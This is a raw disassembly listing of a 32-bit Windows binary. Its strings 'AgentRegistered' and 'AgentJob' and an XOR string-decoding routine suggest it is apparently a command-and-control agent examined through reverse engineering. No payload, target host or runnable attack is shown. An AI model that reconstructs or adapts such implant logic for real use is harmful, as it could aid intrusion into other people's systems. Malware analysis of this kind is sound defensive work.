push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0xb8], 0x80000000
jne 0x3d8a47c
lea ecx, [esi + 0xb8]
call fcn.03d81f3f
cmp dword [esi + 0x1c], 0
je 0x3d8a492
push dword [esi]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movsd xmm0, qword [esi + 0x198]
movsd qword [esi + 0xe0], xmm0
movups xmm0, xmmword [esi + 0x188]
movaps xmmword [esi + 0xd0], xmm0
movzx edi, byte [esi + 0xd0]
cmp edi, 4
je 0x3d8a60f
cmp edi, 5
jne 0x3d8a668
mov dword [esi + 0x1c], edi
mov eax, dword [esi + 0xd4]
mov edi, dword [esi + 0xdc]
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0x3c], edi
cmove edi, eax
lea edx, [esi + 0xf0]
mov dword [edx + 0x18], ecx
xor ebx, ebx
mov dword [edx + 0x1c], ebx
mov dword [edx + 0x20], eax
mov ebx, dword [esi + 0xd8]
mov dword [edx + 0x24], ebx
mov dword [edx + 0x28], ecx
xor ecx, ecx
mov dword [edx + 0x2c], ecx
mov dword [edx + 0x30], eax
mov dword [edx + 0x34], ebx
mov dword [edx + 0x38], edi
mov byte [edx], 6
lea edi, [esi + 0x40]
mov ecx, edi
call fcn.03d842d7
cmp byte [edi], 0
jne 0x3d8be6e
mov dword [esi], 0x80000000
lea edi, [esi + 0x40]
mov ebx, 0x80000000
movzx eax, byte [esi + 0x41]
cmp eax, 3
je 0x3d8a8d0
test eax, eax
je 0x3d8a580
cmp eax, 1
jne 0x3d8a5b8
cmp ebx, 0x80000000
jne 0x3d8a9d0
mov ecx, edi
lea edx, [esi + 0xf0]
call fcn.03d843b5
mov ebx, dword [esi + 0x40]
mov eax, dword [esi + 0x44]
mov dword [esi + 0xc], eax
cmp ebx, 0x80000000
je 0x3d8bd4f
mov eax, dword [esi + 0x48]
mov dword [esi + 0x10], eax
jmp 0x3d8a5f0
cmp dword [esi], 0x80000000
jne 0x3d8a9ed
mov ecx, edi
lea edx, [esi + 0xf0]
call fcn.03d843b5
mov ecx, dword [esi + 0x40]
mov eax, dword [esi + 0x44]
mov dword [esi], ecx
cmp ecx, 0x80000000
je 0x3d8bd40
mov ecx, dword [esi + 0x48]
mov dword [esi + 4], ecx
mov dword [esi + 0x20], eax
jmp 0x3d8a5f0
mov al, byte [esi + 0xf0]
mov byte [esi + 0xf0], 6
cmp al, 6
je 0x3d8a9c9
mov byte [esi + 0x40], al
lea eax, [esi + 0xf1]
movsd xmm0, qword [eax + 0xf]
lea ecx, [esi + 0x41]
movsd qword [ecx + 0xf], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
mov ecx, edi
call fcn.03d84276
mov ecx, edi
lea edx, [esi + 0xf0]
call fcn.03d842d7
cmp byte [esi + 0x40], 0
je 0x3d8a534
mov eax, dword [esi + 0x44]
jmp 0x3d8a9fc
mov eax, dword [esi + 0xd8]
mov edi, dword [esi + 0xdc]
lea ecx, [edi + edi*2]
lea ecx, [eax + ecx*8]
lea edx, [esi + 0x40]
mov dword [edx], eax
mov dword [edx + 4], eax
mov eax, dword [esi + 0xd4]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ebx, [esi + 0x70]
mov ecx, ebx
call fcn.03d841b4
mov eax, dword [ebx]
cmp eax, 0x80000001
je 0x3d8a949
cmp eax, 0x80000000
jne 0x3d8a8f6
xor ecx, ecx
mov edx, 0x3dcecc4
call fcn.03dcbba4
jmp 0x3d8a949
lea ecx, [esi + 0x188]
lea edx, [esi + 0x1a0]
push 0x3dce660
call fcn.03dcc95e
add esp, 4
mov ebx, eax
mov al, 1
mov dword [esi], 0x80000000
jmp 0x3d8aa69
xor edx, edx
inc edx
mov dword [esi], eax
mov dword [esi + 0x14], edx
mov ebx, dword [esi + 0xf4]
lea ecx, [esi + 0x70]
lea edx, [esi + 0xf0]
call fcn.03d81651
cmp dword [esi + 0x70], 0
je 0x3d8a6cf
mov edi, dword [esi + 0x74]
mov eax, dword [esi + 0x78]
mov ecx, dword [esi + 0x10c]
add ebx, ecx
sub edi, ecx
mov dword [esi + 0x10c], eax
mov edx, dword [esi + 0x14]
mov eax, dword [esi]
jmp 0x3d8a71b
cmp byte [esi + 0x115], 0
mov edx, dword [esi + 0x14]
mov eax, dword [esi]
jne 0x3d8a13c
mov byte [esi + 0x115], 1
cmp byte [esi + 0x114], 0
je 0x3d8a6ff
mov ebx, dword [esi + 0x10c]
mov edi, dword [esi + 0x110]
jmp 0x3d8a713
mov ebx, dword [esi + 0x10c]
mov edi, dword [esi + 0x110]
cmp edi, ebx
je 0x3d8a13c
sub edi, ebx
add ebx, dword [esi + 0xf4]
cmp edx, dword [esi + 0xd0]
je 0x3d8a743
mov dword [eax + edx*8], ebx
mov dword [eax + edx*8 + 4], edi
inc edx
mov dword [esi + 0xd8], edx
cmp byte [esi + 0x115], 0
je 0x3d8a693
jmp 0x3d8a13c
lea ecx, [esi + 0xd0]
mov edx, dword [esi + 0x14]
call fcn.03dcc0d9
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0xd4]
jmp 0x3d8a723
mov ebx, 0xc
cmp edi, dword [esi + 0x90]
mov ecx, dword [esi]
je 0x3d8a7a4
movsd xmm0, qword [esi + 0x40]
mov eax, dword [esi + 0x48]
mov dword [ecx + ebx + 8], eax
mov dword [esi], ecx
movsd qword [ecx + ebx], xmm0
inc edi
mov dword [esi + 0x98], edi
lea ecx, [esi + 0x40]
lea edx, [esi + 0x1d0]
call fcn.03da9d90
add ebx, 0xc
cmp dword [esi + 0x40], 0x80000000
jne 0x3d8a761
jmp 0x3d894c6
mov eax, dword [esi + 0x1dc]
sub eax, dword [esi + 0x1d4]
shr eax, 4
inc eax
lea ecx, [esi + 0x90]
mov edx, edi
push eax
call fcn.03dcc0b5
add esp, 4
mov ecx, dword [esi + 0x94]
jmp 0x3d8a76b
mov dword [esi + 0x8c], ebx
lea eax, [0x3dc0c1e]
mov dword [esi + 0x1d0], eax
lea eax, [esi + 0x1d0]
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0x22045cf1
mov edx, dword [esi + 0x1d0]
call fcn.03d81c31
xor ecx, ecx
mov dword [esi + 0x1d4], ecx
mov dword [esi + 0x1d0], ecx
mov dl, 1
movzx edi, byte [ecx + 0x3dce7c1]
mov ebx, ecx
or ebx, 1
movzx ebx, byte [ebx + 0x3dce7c1]
shl ebx, 8
or ebx, edi
mov edi, ecx
or edi, 2
movzx edi, byte [edi + 0x3dce7c1]
shl edi, 0x10
or ebx, edi
mov edi, ecx
or edi, 3
movzx edi, byte [edi + 0x3dce7c1]
shl edi, 0x18
or ebx, edi
xor ebx, dword [eax + ecx]
mov dword [esi + ecx + 0x1d0], ebx
mov ecx, 4
test dl, 1
mov edx, 0
jne 0x3d8a810
mov al, byte [eax + 8]
xor al, 0x91
movsd xmm0, qword [esi + 0x1d0]
movsd qword [esi + 0xf0], xmm0
mov byte [esi + 0xf8], al
mov edi, 9
mov ecx, 9
xor edx, edx
call fcn.03da19ec
mov dword [esi + 0xb0], eax
movsd xmm0, qword [esi + 0xf0]
movsd qword [edx], xmm0
mov al, byte [esi + 0xf8]
mov dword [esi + 0x18], edx
mov byte [edx + 8], al
cmp dword [esi + 0x14], 0
je 0x3d89a18
push dword [esi + 0x8c]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d89a18
cmp dword [esi], 0x80000000
sete al
jne 0x3d8a98d
mov byte [esi + 4], al
mov ecx, str.keystruct_AgentRegistered_with_2_elements
mov edx, 3
call fcn.03dcbc39
jmp 0x3d8aa00
mov dword [esi], eax
lea ebx, [esi + 0x70]
mov eax, dword [ebx + 4]
mov dword [esi + 0x20], eax
mov eax, dword [ebx + 8]
mov dword [esi + 4], eax
lea edx, [esi + 0x40]
mov ecx, ebx
call fcn.03d841b4
mov eax, dword [ebx]
cmp eax, 0x80000001
je 0x3d8a932
cmp eax, 0x80000000
jne 0x3d8bebd
xor ecx, ecx
inc ecx
mov edx, 0x3dcecc4
call fcn.03dcbba4
cmp dword [esi], 0
mov eax, dword [esi + 0x20]
je 0x3d8a949
push eax
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [esi + 0x40]
call fcn.03d84230
jmp 0x3d8aade
mov byte [esi + 0x65], 1
cmp byte [esi + 0x64], 0
je 0x3d8ab76
mov ebx, dword [esi + 0x5c]
mov eax, dword [esi + 0x60]
jmp 0x3d8ab84
test ecx, ecx
jne 0x3d8ab90
mov eax, dword [edx + 8]
test eax, eax
je 0x3d89ca5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x3d8aba9
cmp ebx, 0x80000000
jne 0x3d8bf28
mov ecx, str.idjobstruct_AgentJob_with_2_elements
mov edx, 2
call fcn.03dcbc39
mov ebx, eax
cmp dword [esi], 0
je 0x3d8aa53
push dword [esi + 0x20]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d8aa53
call fcn.03dcc033
jmp 0x3d8a9fc
mov ecx, str.idjobstruct_AgentJob_with_2_elements
mov edx, 2
call fcn.03dcbbf7
mov byte [esi + 4], 1
mov edi, dword [esi]
mov ecx, dword [esi + 0x20]
mov edx, dword [esi + 0xc]
jmp 0x3d8aa10
mov ecx, str.keystruct_AgentRegistered_with_2_elements
mov edx, 3
call fcn.03dcbbf7
mov byte [esi + 4], 1
cmp ebx, 0x80000000
mov edi, dword [esi]
mov ecx, dword [esi + 0x20]
mov edx, dword [esi + 0xc]
je 0x3d8aa2d
test ebx, ebx
je 0x3d8aa2d
push edx
push 0
push dword [0x3de3a38]
mov ebx, eax
mov dword [esi + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esi + 0x20]
mov eax, ebx
cmp byte [esi + 4], 0
je 0x3d8aa51
mov ebx, eax
and edi, 0x7fffffff
mov edi, dword [esi + 0x1c]
je 0x3d8aa56
push ecx
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d8aa56
mov ebx, eax
mov edi, dword [esi + 0x1c]
lea ecx, [esi + 0xf0]
call fcn.03d84400
mov dword [esi], 0x80000000
xor eax, eax
cmp edi, 4
mov dword [esi + 0x20], ebx
je 0x3d8aa87
cmp edi, 5
jne 0x3d8aac6
test al, al
je 0x3d8aad1
lea ecx, [esi + 0xd4]
call fcn.03da1aea
jmp 0x3d8aad1
mov eax, dword [esi + 0xd8]
mov dword [esi + 0xc], eax
mov ebx, dword [esi + 0xdc]
test ebx, ebx
je 0x3d8aaaa
mov edi, dword [esi + 0xc]
mov ecx, edi
call fcn.03da0dfc
add edi, 0x18
dec ebx
jne 0x3d8aa9d
cmp dword [esi + 0xd4], 0
je 0x3d8aad1
push dword [esi + 0xc]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d8aad1
lea ecx, [esi + 0xd0]
call fcn.03d84276
mov ecx, dword [esi + 0x18]
mov ebx, dword [esi]
cmp ebx, 0x80000000
jne 0x3d8aae6
xor ecx, ecx
inc ecx
call fcn.03db9130
mov eax, dword [esi + 0xc0]
mov dword [esi + 0xf8], eax
movsd xmm0, qword [esi + 0xb8]
movsd qword [esi + 0xf0], xmm0
cmp dword [esi + 0x88], 0
je 0x3d8ab1a
push ecx
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x8c], 0
je 0x3d8ab34
push dword [esi + 8]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea edi, [esi + 0x1d0]
mov ecx, edi
call fcn.03d81f80
mov dword [edi], ebx
mov eax, dword [esi + 0x20]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
mov dword [edi + 8], eax
movsd xmm0, qword [esi + 0xf0]
movsd qword [edi + 0xc], xmm0
mov eax, dword [esi + 0xf8]
mov dword [edi + 0x14], eax
lea ecx, [esi + 0x1d0]
lea edx, [esi + 0x5d0]
call fcn.03d8c5a0
mov ebx, dword [esi + 0x5c]
mov eax, dword [esi + 0x60]
cmp eax, ebx
je 0x3d8a166
sub eax, ebx
add ebx, dword [esi + 0x44]
mov edi, eax
jmp 0x3d8a0cf
test eax, eax
je 0x3d89ca5
push dword [edx + 4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [esi + 0xc8]
jmp 0x3d89ca5
mov eax, dword [esi + 0x18c]
mov edx, dword [eax + 4]
lea ebx, [esi + 0x40]
mov ecx, ebx
mov dword [esi + 0x10], eax
push dword [eax + 8]
call fcn.03d92ab0
add esp, 4
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 8]
mov dword [esi], eax
lea ecx, [esi + 0xf0]
mov dword [ecx], edi
mov dword [ecx + 4], 1
mov dword [ecx + 8], edi
movaps xmm0, xmmword [str..exe]
movups xmmword [esi + 0x1d0], xmm0
xor edx, edx
push 4
call fcn.03dcca75
add esp, 4
mov ebx, dword [esi + edi*4 + 0x1d0]
cmp ebx, 0x80
jae 0x3d8ac4a
mov edx, dword [esi + 0xf8]
cmp edx, dword [esi + 0xf0]
jne 0x3d8ac35
lea ecx, [esi + 0xf0]
call fcn.03da1a28
mov edx, dword [esi + 0xf8]
mov eax, dword [esi + 0xf4]
mov byte [eax + edx], bl
inc edx
mov dword [esi + 0xf8], edx
jmp 0x3d8ad07
mov dword [esi + 0x90], 0
mov eax, ebx
cmp ebx, 0x800
jae 0x3d8ac7c
shr eax, 6
or al, 0xc0
mov byte [esi + 0x90], al
and bl, 0x3f
or bl, 0x80
mov byte [esi + 0x91], bl
mov eax, 2
jmp 0x3d8aceb
cmp ebx, 0x10000
jae 0x3d8acb1
shr eax, 0xc
or al, 0xe0
mov byte [esi + 0x90], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esi + 0x91], al
and bl, 0x3f
or bl, 0x80
mov byte [esi + 0x92], bl
mov eax, 3
jmp 0x3d8aceb
shr eax, 0x12
or al, 0xf0
mov byte [esi + 0x90], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esi + 0x91], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esi + 0x92], al
and bl, 0x3f
or bl, 0x80
mov byte [esi + 0x93], bl
mov eax, 4
add eax, esi
add eax, 0x90
lea ecx, [esi + 0xf0]
lea edx, [esi + 0x90]
push eax
call fcn.03da0be8
add esp, 4
inc edi
cmp edi, 4
jne 0x3d8ac07
mov ebx, dword [esi + 0xf0]
mov edi, dword [esi + 0xf4]
mov eax, dword [esi + 0xf8]
mov edx, dword [esi]
sub edx, eax
jae 0x3d8ad4e
test ebx, ebx
je 0x3d8ad3c
push edi
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x40], 0
je 0x3d8950d
push dword [esi + 0x44]
jmp 0x3d8bbb8
mov ecx, dword [esi + 4]
add ecx, edx
push eax
push ecx
push edi
call fcn.03dbe09a
add esp, 0xc
mov dword [esi], eax
test ebx, ebx
je 0x3d8ad73
push edi
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x40], 0
je 0x3d8ad8a
push dword [esi + 0x44]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi], 0
jne 0x3d8950d
mov eax, dword [esi + 0x10]
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
call fcn.03dae790
mov ebx, edx
test eax, eax
mov edx, 0x3ddb048
cmovne edx, eax
cmove ebx, eax
lea edi, [esi + 0x1d0]
mov ecx, edi
push ebx
call fcn.03db8d50
add esp, 4
mov eax, edi
mov edi, dword [edi + 4]
mov ebx, dword [eax + 8]
mov ecx, ebx
xor edx, edx
call fcn.03da19ec
mov dword [esi + 0x8c], eax
push ebx
push edi
mov dword [esi + 0x3c], edx
push edx
call fcn.03dbf720
add esp, 0xc
lea eax, [esi + 0x1d0]
mov eax, dword [eax]
cmp eax, 0x80000000
je 0x3d8ae0d
test eax, eax
je 0x3d8ae0d
push dword [esi + 0x1d4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esi + 0x10]
mov ecx, dword [eax + 4]
mov dword [esi + 0xb4], ecx
mov eax, dword [eax + 8]
mov dword [esi + 0x1c], eax
movaps xmm0, xmmword [0x3dce360]
lea edi, [esi + 0xf0]
movups xmmword [edi], xmm0
movaps xmm0, xmmword [0x3dce370]
movups xmmword [edi + 0x10], xmm0
xorps xmm0, xmm0
movups xmmword [edi + 0x20], xmm0
movups xmmword [edi + 0x30], xmm0
mov ecx, edi
mov edx, dword [esi + 0x3c]
mov dword [esi + 0x88], ebx
push ebx
call fcn.03d84d6b
add esp, 4
lea edx, [esi + 0x1d0]
mov byte [edx], 0xff
xor eax, eax
inc eax
mov ecx, edi
push eax
call fcn.03d84d6b
add esp, 4
mov eax, dword [edi + 0x38]
shl eax, 0x18
or eax, dword [edi + 0x34]
mov dword [esi + 0x14], eax
mov ecx, dword [edi + 0x1c]
xor ecx, eax
mov eax, dword [edi + 0x30]
mov ebx, edi
mov dword [esi + 0x18], eax
mov edi, dword [edi + 0x18]
xor edi, eax
mov eax, dword [ebx + 0x10]
mov edx, dword [ebx]
add edx, eax
mov dword [esi + 0x20], edx
mov edx, dword [ebx + 0x14]
mov ebx, dword [ebx + 4]
adc ebx, edx
mov dword [esi], ebx
mov ebx, eax
shld ebx, edx, 0xd
shld edx, eax, 0xd
xor edx, dword [esi]
xor ebx, dword [esi + 0x20]
lea eax, [esi + 0xf0]
mov eax, dword [eax + 8]
add eax, edi
mov dword [esi + 4], eax
lea eax, [esi + 0xf0]
mov eax, dword [eax + 0xc]
adc eax, ecx
mov dword [esi + 0xc], eax
mov eax, edi
shld eax, ecx, 0x10
shrd edi, ecx, 0x10
xor edi, dword [esi + 0xc]
xor eax, dword [esi + 4]
add dword [esi], eax
adc dword [esi + 0x20], edi
mov ecx, eax
shld ecx, edi, 0x15
shrd eax, edi, 0xb
xor eax, dword [esi + 0x20]
xor ecx, dword [esi]
add dword [esi + 4], ebx
mov edi, dword [esi + 0xc]
adc edi, edx
mov dword [esi + 8], ebx
shld dword [esi + 8], edx, 0x11
shrd ebx, edx, 0xf
mov edx, dword [esi + 0x14]
xor dword [esi + 0x20], edx
mov edx, dword [esi]
xor edx, dword [esi + 0x18]
mov dword [esi], edx
mov edx, edi
xor ebx, edi
mov edi, dword [esi + 4]
xor dword [esi + 8], edi
xor edx, 0xff
mov dword [esi + 0xc], edx
mov edx, dword [esi]
add edx, dword [esi + 8]
mov dword [esi], edx
mov edi, edx
adc dword [esi + 0x20], ebx
mov edx, dword [esi + 8]
shld edx, ebx, 0xd
shrd dword [esi + 8], ebx, 0x13
mov ebx, dword [esi + 8]
xor ebx, dword [esi + 0x20]
mov dword [esi + 8], ebx
xor edx, edi
add dword [esi + 0xc], ecx
mov edi, dword [esi + 4]
adc edi, eax
mov dword [esi + 4], edi
mov ebx, ecx
shld ebx, eax, 0x10
shrd ecx, eax, 0x10
xor ecx, edi
xor ebx, dword [esi + 0xc]
mov edi, dword [esi + 0x20]
add edi, ebx
mov dword [esi + 0x20], edi
adc dword [esi], ecx
mov eax, ebx
shld eax, ecx, 0x15
shrd ebx, ecx, 0xb
xor ebx, dword [esi]
xor eax, edi
add dword [esi + 0xc], edx
mov ecx, dword [esi + 4]
adc ecx, dword [esi + 8]
mov dword [esi + 4], ecx
mov edi, edx
mov ecx, dword [esi + 8]
shld edi, ecx, 0x11
mov ecx, dword [esi + 8]
shrd edx, ecx, 0xf
xor edx, dword [esi + 4]
xor edi, dword [esi + 0xc]
mov ecx, dword [esi + 0x20]
add ecx, edi
mov dword [esi + 0x20], ecx
adc dword [esi], edx
mov dword [esi + 8], edi
shld dword [esi + 8], edx, 0xd
shrd edi, edx, 0x13
xor edi, dword [esi]
xor dword [esi + 8], ecx
add dword [esi + 4], eax
mov ecx, dword [esi + 0xc]
adc ecx, ebx
mov dword [esi + 0xc], ecx
mov edx, eax
shld edx, ebx, 0x10
shrd eax, ebx, 0x10
xor eax, ecx
xor edx, dword [esi + 4]
mov ecx, dword [esi]
add ecx, edx
mov dword [esi], ecx
adc dword [esi + 0x20], eax
mov ebx, edx
shld ebx, eax, 0x15
shrd edx, eax, 0xb
xor edx, dword [esi + 0x20]
xor ebx, ecx
mov ecx, dword [esi + 4]
add ecx, dword [esi + 8]
mov dword [esi + 4], ecx
adc dword [esi + 0xc], edi
mov eax, dword [esi + 8]
shld eax, edi, 0x11
shrd dword [esi + 8], edi, 0xf
mov edi, dword [esi + 0xc]
xor dword [esi + 8], edi
xor eax, ecx
add dword [esi], eax
mov edi, dword [esi + 8]
adc dword [esi + 0x20], edi
mov ecx, eax
shld ecx, edi, 0xd
xor ecx, dword [esi]
mov dword [esi], ecx
shrd eax, edi, 0x13
xor eax, dword [esi + 0x20]
add dword [esi + 0xc], ebx
mov ecx, dword [esi + 4]
adc ecx, edx
mov edi, ebx
shld edi, edx, 0x10
shrd ebx, edx, 0x10
mov edx, ecx
xor ebx, ecx
xor edi, dword [esi + 0xc]
mov ecx, edi
shld ecx, ebx, 0x15
mov dword [esi + 0x20], ecx
shrd edi, ebx, 0xb
mov ecx, dword [esi]
mov ebx, dword [esi + 0xc]
add ebx, ecx
adc edx, eax
mov dword [esi + 4], edx
mov edx, ecx
shld edx, eax, 0x11
xor edx, dword [esi + 0x20]
shld eax, ecx, 0x11
xor eax, edi
mov ecx, dword [esi + 4]
xor ecx, ebx
xor edx, ecx
xor ecx, eax
mov dword [esi + 0x94], ecx
mov dword [esi + 0x90], edx
xor eax, eax
mov dword [esi + 0x40], eax
xor ecx, ecx
inc ecx
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], eax
lea ecx, [esi + 0x1d0]
mov dword [ecx + 0x1c], eax
mov dword [ecx + 0x10], 0x20
mov byte [ecx + 0x20], 3
mov dword [ecx], eax
mov dword [ecx + 8], eax
lea eax, [esi + 0x40]
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x18], 0x3dced28
push ecx
lea eax, [esi + 0x90]
push eax
call fcn.03d96870
add esp, 8
test al, al
jne 0x3d8c122
lea edi, [esi + 0x40]
movsd xmm0, qword [edi]
movsd qword [esi + 0x70], xmm0
mov eax, dword [edi + 8]
mov dword [esi + 0x78], eax
mov ecx, edi
mov edx, dword [esi + 0xb4]
push dword [esi + 0x1c]
call fcn.03d92ab0
add esp, 4
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov ebx, dword [esi + 0x78]
test ebx, ebx
je 0x3d8b319
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x74]
cmp ebx, eax
jae 0x3d8b12c
cmp ebx, 1
jne 0x3d8b14c
mov cl, byte [edi]
cmp eax, 7
ja 0x3d8b301
xor edx, edx
mov edi, dword [esi + 4]
cmp byte [edi + edx], cl
je 0x3d8b319
inc edx
cmp eax, edx
jne 0x3d8b119
jmp 0x3d8b619
jne 0x3d8b619
push eax
push dword [esi + 4]
push edi
call fcn.03dbe09a
add esp, 0xc
test eax, eax
jne 0x3d8b619
jmp 0x3d8b319
lea ecx, [esi + 0x1d0]
mov edx, dword [esi + 4]
push ebx
push edi
push eax
call fcn.03d96060
add esp, 0xc
lea eax, [esi + 0x1d0]
cmp dword [eax], 0
je 0x3d8b3eb
mov ecx, dword [esi + 0x1f4]
mov ebx, dword [esi + 0x200]
mov eax, dword [esi + 0x20c]
lea edx, [eax - 1]
mov dword [esi + 0xec], edx
mov edx, dword [esi + 0x204]
mov edi, dword [esi + 0x208]
mov dword [esi], edi
mov dword [esi + 0x18], ecx
cmp ecx, 0xffffffff
mov dword [esi + 0x14], eax
mov dword [esi + 0xc], ebx
je 0x3d8b4e9
mov ecx, dword [esi + 0x1ec]
mov eax, dword [esi + 0xec]
mov edi, ecx
mov dword [esi + 0x20], ecx
add eax, ecx
cmp eax, edx
jae 0x3d8b619
mov ecx, dword [esi + 0x1d8]
mov dword [esi + 0xb0], ecx
mov ecx, dword [esi + 0x1dc]
mov dword [esi + 0xc8], ecx
mov ecx, dword [esi + 0x1e8]
mov edi, dword [esi + 0x14]
mov dword [esi + 0x168], ecx
sub edi, ecx
mov dword [esi + 0x1c0], edi
mov ecx, dword [esi + 0x1e0]
mov dword [esi + 0xcc], ecx
mov dword [esi + 8], edx
mov cl, byte [ebx + eax]
xor eax, eax
xor edi, edi
inc edi
shld eax, edi, cl
shl edi, cl
test cl, 0x20
cmovne eax, edi
mov ecx, 0
cmovne edi, ecx
and eax, dword [esi + 0xc8]
and edi, dword [esi + 0xb0]
or edi, eax
je 0x3d8b28f
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0xcc]
cmp ecx, eax
mov edx, eax
cmova edx, ecx
mov ecx, dword [esi + 0x14]
cmp edx, ecx
cmova ecx, edx
mov eax, dword [esi + 0x20]
add eax, ebx
mov dword [esi + 0x16c], edx
mov ebx, edx
cmp ecx, ebx
je 0x3d8b2a1
mov edi, ebx
mov edx, dword [esi + 0x20]
add ebx, edx
cmp ebx, dword [esi + 8]
jae 0x3d8be7e
lea ebx, [edi + 1]
mov edx, dword [esi]
mov dl, byte [edx + edi]
cmp dl, byte [eax + edi]
je 0x3d8b253
mov ecx, dword [esi + 0x20]
sub ecx, dword [esi + 0xcc]
add ecx, edi
inc ecx
mov dword [esi + 0x18], 0
mov edx, dword [esi + 8]
mov ebx, dword [esi + 0xc]
jmp 0x3d8b2e7
mov ecx, dword [esi + 0x20]
add ecx, dword [esi + 0x14]
mov dword [esi + 0x18], 0
mov edx, dword [esi + 8]
jmp 0x3d8b2e7
mov ecx, dword [esi + 0xcc]
mov edx, dword [esi + 8]
cmp dword [esi + 0x18], ecx
jae 0x3d8b319
dec ecx
cmp ecx, dword [esi + 0x14]
jae 0x3d8be8c
mov eax, dword [esi + 0x20]
add eax, ecx
cmp eax, edx
jae 0x3d8be99
mov edi, dword [esi]
mov bl, byte [edi + ecx]
mov edi, dword [esi + 0xc]
cmp bl, byte [edi + eax]
je 0x3d8b2aa
mov ebx, edi
mov ecx, dword [esi + 0x20]
add ecx, dword [esi + 0x168]
mov eax, dword [esi + 0x1c0]
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0xec]
mov edi, ecx
mov dword [esi + 0x20], ecx
add eax, ecx
cmp eax, edx
jb 0x3d8b203
jmp 0x3d8b619
movzx ecx, cl
mov edx, dword [esi + 4]
push eax
call fcn.03d95ea0
add esp, 4
cmp eax, 1
jne 0x3d8b619
cmp dword [esi + 0x40], 0
je 0x3d8b330
push dword [esi + 4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [esi + 0x1c]
test ebx, ebx
je 0x3d8b35b
js 0x3d8bf91
mov al, byte [0x3de3a90]
xor ecx, ecx
mov edx, ebx
call fcn.03db9190
mov edi, eax
test eax, eax
jne 0x3d8b35e
xor ecx, ecx
inc ecx
mov edx, ebx
call fcn.03dcc180
xor edi, edi
inc edi
push ebx
push dword [esi + 0xb4]
push edi
call fcn.03dbf720
add esp, 0xc
mov ecx, edi
mov edx, ebx
call fcn.03dac480
test eax, eax
je 0x3d8b3b6
mov ebx, edx
lea ecx, [esi + 0x1d0]
mov edx, eax
push ebx
call fcn.03d944d0
add esp, 4
lea eax, [esi + 0x1d0]
cmp dword [eax], 0
jne 0x3d8b3b6
mov edx, dword [esi + 0x1d4]
mov eax, dword [esi + 0x1d8]
add eax, edx
lea ecx, [esi + 0xd0]
push eax
call fcn.03da0be8
add esp, 4
cmp dword [esi + 0x1c], 0
je 0x3d8b3cb
push edi
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x70], 0
je 0x3d8b92e
push dword [esi + 0x74]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d8b92e
cmp byte [esi + 0x1de], 0
jne 0x3d8b619
mov edi, dword [esi + 0x1d4]
mov ebx, dword [esi + 0x200]
mov eax, dword [esi + 0x204]
mov dword [esi + 0xc], eax
cmp byte [esi + 0x1dc], 0
sete al
mov dword [esi + 8], ebx
mov ecx, dword [esi + 0xc]
test edi, edi
je 0x3d8b439
mov ecx, dword [esi + 0xc]
sub ecx, edi
jbe 0x3d8b433
cmp byte [ebx + edi], 0xbf
jg 0x3d8b439
jmp 0x3d8c1c7
jne 0x3d8c1c7
mov dword [esi], eax
test ecx, ecx
je 0x3d8b610
mov eax, ebx
mov bl, byte [ebx + edi]
movzx edx, bl
test bl, bl
mov dword [esi + 0x20], edi
jns 0x3d8b496
and edx, 0x1f
movzx ecx, byte [eax + edi + 1]
and ecx, 0x3f
cmp bl, 0xdf
jbe 0x3d8b491
movzx eax, byte [eax + edi + 2]
shl ecx, 6
and eax, 0x3f
or eax, ecx
cmp bl, 0xf0
jb 0x3d8b4df
mov ebx, dword [esi + 8]
mov ecx, dword [esi + 0x20]
movzx ecx, byte [ebx + ecx + 3]
shl eax, 6
and ecx, 0x3f
or ecx, eax
and edx, 7
shl edx, 0x12
or edx, ecx
jmp 0x3d8b498
shl edx, 6
or edx, ecx
mov ebx, eax
test byte [esi], 1
je 0x3d8b319
cmp edx, 0x110000
je 0x3d8b619
xor ecx, ecx
